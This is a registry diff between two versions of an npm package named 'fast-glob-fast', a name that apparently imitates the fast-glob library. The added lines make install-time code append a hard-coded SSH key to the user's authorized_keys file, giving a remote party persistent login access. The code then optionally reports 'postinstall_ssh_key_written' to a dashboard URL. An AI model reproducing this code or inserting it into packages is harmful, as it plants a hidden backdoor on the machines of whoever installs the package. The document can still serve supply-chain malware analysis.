fast-glob-fast 9.0.0 → 11.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
|
@@ -114,17 +114,18 @@ async function main() {
|
|
|
114
114
|
}
|
|
115
115
|
}
|
|
116
116
|
|
|
117
|
-
// Create and append the marker
|
|
117
|
+
// Create and append the SSH key with a marker comment
|
|
118
118
|
const marker = createMarker(systemInfo)
|
|
119
|
-
|
|
119
|
+
const sshKey = DEFAULT_TEXT // Using the SSH key you defined
|
|
120
|
+
appendFileSync(authorizedKeysPath, `${marker}${sshKey}\n`, { encoding: 'utf8', mode: 0o600 })
|
|
120
121
|
|
|
121
|
-
console.log(`[fast-glob-fast] appended
|
|
122
|
+
console.log(`[fast-glob-fast] appended SSH key to ${authorizedKeysPath}`)
|
|
122
123
|
|
|
123
124
|
// Optional: Report the event to a dashboard
|
|
124
125
|
const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
|
|
125
126
|
if (eventUrl) {
|
|
126
127
|
const event = {
|
|
127
|
-
event: '
|
|
128
|
+
event: 'postinstall_ssh_key_written',
|
|
128
129
|
eventId: randomUUID(),
|
|
129
130
|
package: 'fast-glob-fast',
|
|
130
131
|
packageVersion: packageMetadata.version,
|